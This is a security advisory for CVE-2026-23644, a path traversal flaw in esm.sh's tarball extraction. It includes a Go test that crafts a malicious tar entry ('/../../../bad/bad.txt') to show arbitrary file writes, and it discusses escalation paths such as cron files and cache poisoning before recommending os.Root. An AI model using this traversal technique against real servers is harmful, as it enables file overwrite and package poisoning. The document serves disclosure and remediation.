---
id: CVE-2026-23644
aliases:
  - GHSA-2657-3c98-63jq
  - GO-2026-4332
title: >-
  esm.sh has a path traversal in extractPackageTarball enables file writes from
  malicious packages
summary: >-
  esm.sh has a path traversal in extractPackageTarball enables file writes from
  malicious packages
severity: high
vendor: esm-dev
product: github.com/esm-dev/esm.sh
ecosystem: go
affected:
  - 'github.com/esm-dev/esm.sh >= 0.0.1, <= 136'
  - github.com/esm-dev/esm.sh < 0.0.0-20260116051925-c62ab83c589e
patched:
  - github.com/esm-dev/esm.sh 0.0.0-20260116051925-c62ab83c589e
published: '2026-01-20'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:50:32.291130613Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-2657-3c98-63jq'
references:
  - url: 'https://github.com/esm-dev/esm.sh/security/advisories/GHSA-2657-3c98-63jq'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-23644'
  - url: >-
      https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16
  - url: >-
      https://github.com/esm-dev/esm.sh/commit/c62ab83c589e7b421a0e1376d2a00a4e48161093
  - url: 'https://github.com/esm-dev/esm.sh'
  - url: 'https://pkg.go.dev/vuln/GO-2025-4138'
  - url: 'https://pkg.go.dev/vuln/GO-2026-4332'
tags:
  - osv
  - go
epss: 0.00547
epssPercentile: 0.43387
ingestedAt: '2026-09-12T03:13:01.744Z'
---

## Overview

### Summary

The [commit](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16) does not actually fix the path traversal bug. `path.Clean` basically normalizes a path but does not prevent absolute paths in a malicious tar file.

### PoC

This test file can demonstrate the basic idea pretty easily:

```go
package server

import (
	"archive/tar"
	"bytes"
	"compress/gzip"
	"testing"
)

// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function
// with a malicious tarball containing a path traversal attempt
func TestExtractPackageTarball_PathTraversal(t *testing.T) {
	// Create a temporary directory for testing
	installDir := "./testdata/good"

	// Create a malicious tarball with path traversal
	var buf bytes.Buffer
	gw := gzip.NewWriter(&buf)
	tw := tar.NewWriter(gw)

	// Add a normal file
	content := []byte("export const foo = 'bar';")
	header := &tar.Header{
		Name:     "package/index.js",
		Mode:     0644,
		Size:     int64(len(content)),
		Typeflag: tar.TypeReg,
	}
	if err := tw.WriteHeader(header); err != nil {
		t.Fatal(err)
	}
	if _, err := tw.Write(content); err != nil {
		t.Fatal(err)
	}

	// Add a malicious file with path traversal
	bad := []byte("bad")
	header = &tar.Header{
		Name:     "/../../../bad/bad.txt",
		Mode:     0644,
		Size:     int64(len(bad)),
		Typeflag: tar.TypeReg,
	}
	if err := tw.WriteHeader(header); err != nil {
		t.Fatal(err)
	}
	if _, err := tw.Write(bad); err != nil {
		t.Fatal(err)
	}

	tw.Close()
	gw.Close()

	// Call extractPackageTarball with the malicious tarball
	if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil {
		t.Errorf("extractPackageTarball returned error: %v", err)
	}
}
```

### Impact

It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.

Arbitrary file write _can_ lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to _enable_ code execution is unclear.

The limiting factors in the default setup that limit escalating this to code execution:

 - `extractPackageTarball` has a file-extension check which makes some more "obvious" escalations like overwriting binaries in `/esm/bin`  (e.g. `deno`) impractical since it requires the target file to have an allowlisted extension.
 - Using the `Dockerfile` in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to `/tmp` and it's home directory.
 - The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.

### Fix

Using [`os.Root`](https://go.dev/blog/osroot) seems like it will solve this issue and doesn't require new dependencies.

## Affected packages

- `github.com/esm-dev/esm.sh >= 0.0.1, <= 136`
- `github.com/esm-dev/esm.sh < 0.0.0-20260116051925-c62ab83c589e`

## Remediation

Upgrade to a patched release:

- `github.com/esm-dev/esm.sh 0.0.0-20260116051925-c62ab83c589e`
